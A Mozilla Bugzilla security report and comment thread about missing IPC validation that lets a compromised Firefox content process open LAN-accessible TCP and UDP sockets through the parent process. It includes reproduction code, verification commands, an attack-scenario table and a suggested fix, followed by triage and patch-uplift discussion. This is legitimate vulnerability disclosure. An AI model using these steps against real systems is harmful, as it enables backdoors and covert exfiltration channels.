Missing IPC validation in PTCPServerSocket/PUDPSocket allows compromised content process to bind LAN-accessible listening sockets and send/receive arbitrary UDP via parent process
Categories
(Core :: Networking, defect, P2)
Tracking
()
People
(Reporter: part23, Assigned: valentin)
References
Details
(4 keywords, Whiteboard: [client-bounty-form][necko-triaged][necko-priority-new][adv-main150+][adv-esr140.10+])
Attachments
(1 file, 3 external files)
|
8.65 KB,
application/x-gzip
|
Details |
Summary
NeckoParent::AllocPTCPServerSocketParent (netwerk/ipc/NeckoParent.cpp:496) and AllocPUDPSocketParent (line 518) create real OS-level sockets in the parent process without any process-type or permission validation. A compromised content process can:
- Bind TCP server sockets on
0.0.0.0(all interfaces) — accessible from the local network, not just localhost. TheloopbackOnlyparameter is hardcoded tofalseatdom/network/TCPServerSocket.cpp:74. - Create unfiltered UDP sockets — the principal parameter is explicitly
/* unused */and an empty filter string bypasses the STUN packet filter entirely. - Join multicast groups — mDNS (
224.0.0.251) and SSDP (239.255.255.250) for LAN service discovery manipulation.
Both protocols provide full bidirectional data flow back to the content process via IPC message forwarding, allowing the compromised content process to operate as a full network server/client from within the sandbox.
The JavaScript APIs (TCPServerSocket, UDPSocket) are properly gated by IsSystemPrincipal() and [ChromeOnly] WebIDL annotations respectively. The underlying IPC handlers have no equivalent server-side check. A compromised content process bypasses WebIDL entirely.
Firefox Version: 149.0a1 (Nightly), also affects current release versions with multi-process architecture
OS: All platforms (verified on macOS 14.6.1, ARM64)
Discovery Method: Manual source code audit of IPC handlers in NeckoParent.cpp
Root Cause Analysis
1. TCP Server Socket — Zero validation, hardcoded bind to all interfaces
// netwerk/ipc/NeckoParent.cpp:496-510
PTCPServerSocketParent* NeckoParent::AllocPTCPServerSocketParent(
const uint16_t& aLocalPort, const uint16_t& aBacklog,
const bool& aUseArrayBuffers) {
TCPServerSocketParent* p =
new TCPServerSocketParent(this, aLocalPort, aBacklog, aUseArrayBuffers);
p->AddIPDLReference();
return p; // No GetRemoteType(), no permission check
}
mozilla::ipc::IPCResult NeckoParent::RecvPTCPServerSocketConstructor(
PTCPServerSocketParent* aActor, const uint16_t& aLocalPort,
const uint16_t& aBacklog, const bool& aUseArrayBuffers) {
static_cast<TCPServerSocketParent*>(aActor)->Init();
return IPC_OK(); // Directly binds OS socket
}
The Init() chain proceeds to TCPServerSocket::Init() which hardcodes loopbackOnly = false:
// dom/network/TCPServerSocket.cpp:74
rv = mServerSocket->Init(mPort, false, mBacklog);
// ^^^^^
// loopbackOnly = false (HARDCODED)
This causes nsServerSocket::InitSpecialConnection() to use PR_IpAddrAny → PR_Bind(0.0.0.0, port). The server socket listens on all network interfaces, accessible from the local network.
2. UDP Socket — Principal ignored, packet filter bypassed
// netwerk/ipc/NeckoParent.cpp:518-523
PUDPSocketParent* NeckoParent::AllocPUDPSocketParent(
nsIPrincipal* /* unused */, const nsACString& /* unused */) {
RefPtr<UDPSocketParent> p = new UDPSocketParent(this);
return p.forget().take(); // Principal IGNORED
}
The principal parameter is explicitly /* unused */. The UDPSocketParent::Init() comment (dom/network/UDPSocketParent.cpp:42-43) confirms this was acknowledged but never addressed:
// will be used once we move all UDPSocket to PBackground, or
// if we add in Principal checking for dom/media/webrtc/transport
When the filter parameter is empty (""), UDPSocketParent::Init() does not create a filter (mFilter stays NULL). The RecvOutgoingData() method (dom/network/UDPSocketParent.cpp:302) only applies filtering when mFilter is non-null:
// dom/network/UDPSocketParent.cpp:311
if (mFilter) { // NULL when filter="" → filter SKIPPED entirely
rv = mFilter->FilterPacket(..., &allowed);
if (!allowed) return IPC_FAIL(this, "Content tried to send non STUN packet");
}
// No filter → falls through → unrestricted send to any destination
The legitimate WebRTC consumer passes "stun" as the filter to restrict traffic to STUN packets only. A compromised process passes "" to bypass this entirely.
3. WebIDL gate exists but IPC handler doesn't mirror it
// dom/network/TCPSocket.cpp:1166-1169 — JavaScript API IS restricted
bool TCPSocket::ShouldTCPSocketExist(JSContext* aCx, JSObject* aGlobal) {
JS::Rooted<JSObject*> global(aCx, aGlobal);
return nsContentUtils::ObjectPrincipal(global)->IsSystemPrincipal();
}
UDPSocket WebIDL is additionally marked [ChromeOnly] and gated by dom.udpsocket.enabled (default: false). Neither IPC handler mirrors these restrictions.
4. Comparison: other NeckoParent handlers DO validate
// NeckoParent.cpp:808 — RecvGetPageThumbStream
if (static_cast<ContentParent*>(Manager())->GetRemoteType() !=
PRIVILEGEDABOUT_REMOTE_TYPE) {
return IPC_FAIL(this, "Wrong process type");
}
The TCP/UDP socket handlers have no equivalent check.
5. PNecko accessible from any content process
// dom/ipc/ContentParent.cpp:4476-4479
already_AddRefed<PNeckoParent> ContentParent::AllocPNeckoParent() {
RefPtr<NeckoParent> actor = new NeckoParent();
return actor.forget(); // No restriction on process type
}
gNeckoChild is a global singleton in every content process (netwerk/ipc/NeckoChild.cpp:50,59-76). The IPDL definitions (PNecko.ipdl:84-85) have no security annotations:
async PTCPServerSocket(uint16_t localPort, uint16_t backlog, bool useArrayBuffers);
async PUDPSocket(nullable nsIPrincipal principal, nsCString filter);
6. Content sandbox bypassed via IPC delegation
The content process sandbox blocks direct socket creation:
- macOS:
SandboxPolicyContent.hdoes NOT grantnetwork-bindornetwork-inbound - Linux: seccomp filter denies
SYS_SOCKETfor content processes
These IPC messages create sockets in the parent process (unsandboxed), completely bypassing sandbox network restrictions.
Exploit Chain
COMPROMISED CONTENT PROCESS
|
| Step 1: Acquire PNecko channel (always available)
| NeckoChild::InitNeckoChild()
| -> gNeckoChild = global PNeckoChild singleton
|
| Step 2: Create TCP server (single constructor call)
| new TCPServerSocketChild(nullptr, 8080, 10, true)
| -> Sends PNecko::PTCPServerSocket(8080, 10, true)
|
| Step 3: Create UDP socket (Bind sends constructor + bind)
| udp->Bind(nullptr, nullptr, "0.0.0.0", 5353, false, false, 0, 0)
| -> Sends PNecko::PUDPSocket(null, "") then PUDPSocket::Bind(...)
|
+----- IPC (zero validation) -----+---- IPC (zero validation) ----+
| | |
v v |
PARENT PROCESS (unsandboxed) |
| |
| TCP: AllocPTCPServerSocketParent -> Init -> nsServerSocket::Init|
| -> PR_Bind(0.0.0.0:8080) -> PR_Listen(10) |
| -> TCP server on ALL interfaces (loopbackOnly=false hardcoded)|
| |
| UDP: AllocPUDPSocketParent -> Init(principal=null, filter="") |
| -> RecvBind -> BindInternal -> PR_Bind(0.0.0.0:5353) |
| -> UDP socket, no packet filter, send/recv/multicast |
| |
+---- Bidirectional data flow ----+---- Bidirectional data flow ---+
| | |
v v |
NETWORK (LAN-accessible) |
| |
| TCP: External client connects -> parent accepts -> |
| SendCallbackAccept(PTCPSocket) -> content gets connection |
| -> Full bidirectional TCP data via PTCPSocket IPC |
| |
| UDP: Content sends OutgoingData -> parent sends real packet |
| Parent receives -> SendCallbackReceivedData -> content gets |
| -> Full bidirectional UDP, no filter, multicast capable |
Steps to Reproduce
Prerequisites: Arbitrary code execution in a Firefox content process (e.g., via a separate memory corruption vulnerability).
Step 1 — TCP Server Socket: From the compromised content process, construct a TCPServerSocketChild. The constructor directly sends the IPC message:
NeckoChild::InitNeckoChild(); // gNeckoChild exists in every content process
RefPtr<TCPServerSocketChild> server =
new TCPServerSocketChild(nullptr, 8080, 10, true);
// Constructor (TCPServerSocketChild.cpp:48-49) sends:
// gNeckoChild->SendPTCPServerSocketConstructor(this, 8080, 10, true)
// Parent immediately binds: PR_Bind(0.0.0.0:8080) -> PR_Listen(10)
Step 2 — Verify TCP: A real TCP server socket is now listening on port 8080 on all network interfaces in the parent process:
lsof -i :8080 -P -n
# Expected: firefox <parent-PID> TCP *:8080 (LISTEN)
# Note: * means 0.0.0.0 — accessible from LAN, not just localhost
Step 3 — Connection forwarding: When an external client connects, the parent creates a PTCPSocket actor and forwards it to the content process:
Parent: TCPServerSocket::OnSocketAccepted() (line 132)
-> TCPServerSocketParent::OnConnect(event) (line 106)
-> new TCPSocketParent() + socketParent->SetSocket()
-> SendCallbackAccept(socketParent) (line 54-85)
-> mNeckoParent->SendPTCPSocketConstructor(socket, host, port)
-> PTCPServerSocketParent::SendCallbackAccept(socket)
Content: TCPServerSocketChild::RecvCallbackAccept(psocket) (line 66)
-> Full PTCPSocket actor with bidirectional read/write
The content process now has a full TCP connection to the external client, with all socket I/O handled by the parent process.
Step 4 — UDP Socket: Create an unfiltered UDP socket:
RefPtr<UDPSocketChild> udp = new UDPSocketChild();
udp->Bind(nullptr, nullptr, "0.0.0.0"_ns, 5353, false, false, 0, 0);
// UDPSocketChild::Bind() (line 66-101) sends:
// PNecko::PUDPSocket(null, "") -> parent creates socket, NO filter
// PUDPSocket::Bind("0.0.0.0", 5353) -> parent binds to all interfaces
Step 5 — UDP data flow: Send and receive arbitrary UDP packets:
Content -> Parent: PUDPSocket::OutgoingData(bytes, addr)
-> UDPSocketParent::RecvOutgoingData (line 302)
-> mFilter is NULL (filter="" passed) -> filter check SKIPPED
-> mSocket->Send(addr, port, data) -> real UDP packet sent
Parent -> Content: UDPSocketParent::OnPacketReceived(msg)
-> SendCallbackReceivedData(addr, data)
-> UDPSocketChild::RecvCallbackReceivedData(addr, data) (line 211)
Step 6 — Multicast (optional): Join multicast groups for LAN service discovery attacks:
PUDPSocket::JoinMulticast("224.0.0.251", "") -> mDNS group
PUDPSocket::JoinMulticast("239.255.255.250", "") -> SSDP/UPnP group
Verification:
# TCP server socket in parent process:
lsof -i :8080 -P -n
# Expected: firefox <PARENT-PID> TCP *:8080 (LISTEN)
# UDP socket in parent process:
lsof -i :5353 -P -n
# Expected: firefox <PARENT-PID> UDP *:5353
# Test LAN accessibility from another machine:
curl http://<target-ip>:8080/
# Connection established — data forwarded to content via PTCPSocket IPC
# Confirm sockets are in parent, not content:
lsof -i -P -n | grep firefox
# Parent PID: TCP *:8080 (LISTEN), UDP *:5353
# Content PID: (no listening sockets — sandbox blocks direct bind)
Impact
Network sandbox escape: A compromised content process gains full TCP server and UDP socket capabilities through the unsandboxed parent process, bypassing all sandbox network restrictions.
The TCP server socket binds to 0.0.0.0 (all interfaces), not loopback — it is accessible from the local network. The UDP socket operates without any packet filter and can join multicast groups.
| Attack Scenario | Protocol | Impact |
|---|---|---|
| LAN-accessible backdoor | TCP 8080+ | Listening socket on all interfaces — C2 channel from LAN |
| Data exfiltration | TCP/UDP any | Covert channel bypassing content sandbox network restrictions |
| mDNS hijacking | UDP 5353 + multicast | Spoof AirPlay, Chromecast, printer discovery on LAN |
| UPnP manipulation | UDP 1900 + multicast | Forge service announcements, manipulate router port forwarding |
| Local service impersonation | TCP 1024+ | Bind before legitimate service, intercept connections |
Limitations (stated for accuracy):
- Requires prior content process compromise (not exploitable from web content alone)
- Non-root Firefox cannot bind privileged ports (< 1024)
- Sockets persist only while the content process is alive
Suggested Fix
- Add process-type validation to both allocators (matching
RecvGetPageThumbStreampattern):
PTCPServerSocketParent* NeckoParent::AllocPTCPServerSocketParent(...) {
ContentParent* cp = static_cast<ContentParent*>(Manager());
if (cp->GetRemoteType() != PRIVILEGEDABOUT_REMOTE_TYPE &&
!StringBeginsWith(cp->GetRemoteType(), EXTENSION_REMOTE_TYPE_PREFIX)) {
return nullptr; // Reject from web content processes
}
// ... existing code
}
-
Implement principal validation for UDP — the code explicitly acknowledges it's missing.
-
Enforce packet filter for UDP — reject empty filter strings from non-privileged processes, or require the
"stun"filter for WebRTC-only usage. -
Consider removing the IPDL messages:
TCPServerSocketwas designed for Firefox OS (B2G, discontinued 2016). No legitimate web content in desktop Firefox needs server socket IPC. The only remaining consumer is a single extension test file (test_ext_proxy_socks.js). Removing these messages eliminates the attack surface.
References
| File | Lines | Description |
|---|---|---|
netwerk/ipc/NeckoParent.cpp |
496-510 | AllocPTCPServerSocketParent + RecvConstructor — zero validation |
netwerk/ipc/NeckoParent.cpp |
518-523 | AllocPUDPSocketParent — principal /* unused */ |
netwerk/ipc/PNecko.ipdl |
84-85 | IPDL definitions — no security annotations |
dom/ipc/ContentParent.cpp |
4476-4479 | AllocPNeckoParent — no process-type restriction |
dom/network/TCPServerSocketParent.cpp |
50-52 | Init() — directly binds OS socket |
dom/network/TCPServerSocketParent.cpp |
54-85 | SendCallbackAccept — forwards accepted connections to content |
dom/network/TCPServerSocketParent.cpp |
106-115 | OnConnect — creates PTCPSocket for accepted connections |
dom/network/TCPServerSocketChild.cpp |
42-50 | Constructor sends IPC directly |
dom/network/TCPServerSocketChild.cpp |
66-72 | RecvCallbackAccept — receives connection in content |
dom/network/TCPServerSocket.cpp |
74 | Init(mPort, false, mBacklog) — loopbackOnly=false HARDCODED |
dom/network/TCPServerSocket.cpp |
132-139 | OnSocketAccepted — dispatches to parent bridge |
dom/network/UDPSocketParent.cpp |
39-72 | Init() — empty filter → mFilter=NULL |
dom/network/UDPSocketParent.cpp |
76-111 | RecvBind → BindInternal — creates real UDP socket |
dom/network/UDPSocketParent.cpp |
302-349 | RecvOutgoingData — skips filter when mFilter=NULL |
dom/network/UDPSocketChild.cpp |
66-101 | Bind() — sends constructor + bind IPC |
dom/network/UDPSocketChild.cpp |
211-221 | RecvCallbackReceivedData — receives UDP in content |
dom/network/TCPSocket.cpp |
1166 | ShouldTCPSocketExist — WebIDL gate (client-side only) |
netwerk/base/nsServerSocket.cpp |
332-430 | InitSpecialConnection → PR_Bind(INADDR_ANY) |
netwerk/ipc/NeckoChild.cpp |
50, 59-76 | gNeckoChild global + InitNeckoChild() |
Properly validated handlers for comparison:
RecvGetPageThumbStream(NeckoParent.cpp:808): checksPRIVILEGEDABOUT_REMOTE_TYPERecvCreateWindow(ContentParent.cpp:5403): callsValidatePrincipal
Updated•8 months ago
|
Comment 1•8 months ago
|
||
UDPSocket is behind a pref that is disabled by default, so we probably just want to check dom.udpsocket.enabled in AllocPUDPSocketParent. For TCP we expose the API to all chrome JS for some reason (see TCPSocket::ShouldTCPSocketExist), so we probably either 1) Put it behind it a pref as well, if it isn't used. 2) Only allow it for privileged content processes.
Updated•8 months ago
|
Comment 2•8 months ago
|
||
I don't think this is a sandbox escape as suggested by the original report. It is a privilege escalation attack though.
Updated•8 months ago
|
Comment 3•8 months ago
|
||
This is still in triage and I'm not 100% sure about the impact for Tor Browser as it requires an additional child-process exploit. But CCing Giorgio so he can assess for their specific threat model.
In the end, we want this fixed in Firefox and in a way that satisfies requirements for both groups :)
Comment 4•8 months ago
|
||
Thank you Freddy for the heads up!
A compromised child process would already be bad per se, however the additional capabilities would amount also to a proxy evasion and a fingerprinting vector, both how which are a big deal for Tor Browser.
On the other hand we don't use those features either (I can see them only in tests of yours), so if your plan is to kill their JavaScript bindings or otherwise disable them it works for us.
| Assignee | ||
Comment 6•7 months ago
|
||
Updated•7 months ago
|
Updated•7 months ago
|
Comment 10•7 months ago
|
||
I was curious about what "multiple failures" meant here, and found a push with failures in the hg link from comment 8.
with errors like:
Assertion failure: IsAtomic<bool>::value || NS_IsMainThread() (Non-atomic static pref 'dom.udpsocket.enabled' being accessed on background thread by getter), at /builds/worker/workspace/obj-build/dist/include/mozilla/StaticPrefList_dom.h:2571
I suppose that changing type: bool to type: RelaxedAtomicBool would be a way to fix this.
(I haven't checked for other failures in the push)
Comment 11•7 months ago
|
||
Sorry for the delay with the update here. Here is a push with many failures.
| Assignee | ||
Updated•7 months ago
|
Comment 12•7 months ago
|
||
Comment 13•7 months ago
|
||
Comment 14•7 months ago
|
||
- Push with failures
- Failure Log 1
- Failure Log 2
Failure line:
Hit MOZ_CRASH(Use IPC_FAIL only in an unrecoverable, unexpected state: RecvPUDPSocketConstructor udp socket not enabled
Updated•7 months ago
|
Comment 15•7 months ago
|
||
The bug is marked as tracked for firefox150 (nightly). However, the bug still has low severity.
:ghess, could you please increase the severity for this tracked bug? If you disagree with the tracking decision, please talk with the release managers.
For more information, please visit BugBot documentation.
Comment 16•7 months ago
|
||
| Assignee | ||
Updated•7 months ago
|
Comment 17•7 months ago
|
||
Updated•7 months ago
|
Comment 18•7 months ago
|
||
The patch landed in nightly and beta is affected.
:valentin, is this bug important enough to require an uplift?
- If yes, please nominate the patch for beta approval.
- See https://wiki.mozilla.org/Release_Management/Requesting_an_Uplift for documentation on how to request an uplift.
- If no, please set
status-firefox150towontfix.
For more information, please visit BugBot documentation.
Comment 19•7 months ago
|
||
The way the pref check is written in RecvPUDPSocketConstructor is confusing, because we allow non empty filters, but then below we limit filters to STUN? I thought we used to socket process for WebRTC, is that not correct?
| Assignee | ||
Comment 20•7 months ago
|
||
AFAIK we use the socket process on desktop, but main process on Android?
Comment 21•7 months ago
|
||
firefox-beta Uplift Approval Request
- User impact if declined/Reason for urgency: A compromised content process could create arbitrary TCP or UDP sockets.
- Code covered by automated testing?: unknown
- Fix verified in Nightly?: yes
- Needs manual QE testing?: no
- Steps to reproduce for manual QE testing: -
- Risk associated with taking this patch: low
- Explanation of risk level: Adds a pref to disable TCP and UDP socket creation with non-WebRTC filers.
- String changes made/needed?: -
- Is Android affected?: yes
| Assignee | ||
Comment 22•7 months ago
|
||
Original Revision: https://phabricator.services.mozilla.com/D287777
Updated•7 months ago
|
Updated•7 months ago
|
Comment 23•7 months ago
|
||
| uplift | ||
Updated•7 months ago
|
| Assignee | ||
Updated•7 months ago
|
| Assignee | ||
Comment 25•7 months ago
|
||
Original Revision: https://phabricator.services.mozilla.com/D287777
Updated•7 months ago
|
Comment 26•7 months ago
|
||
firefox-esr140 Uplift Approval Request
- User impact if declined/Reason for urgency: A compromised content process could create arbitrary TCP or UDP sockets.
- Code covered by automated testing?: unknown
- Fix verified in Nightly?: yes
- Needs manual QE testing?: no
- Steps to reproduce for manual QE testing: -
- Risk associated with taking this patch: low
- Explanation of risk level: Adds a pref to disable TCP and UDP socket creation with non-WebRTC filers.
- String changes made/needed?: none
- Is Android affected?: yes
Updated•7 months ago
|
Updated•7 months ago
|
Comment 27•7 months ago
|
||
| uplift | ||
Updated•7 months ago
|
Updated•6 months ago
|
Updated•6 months ago
|
Updated•5 months ago
|
Updated•2 months ago
|
Description
•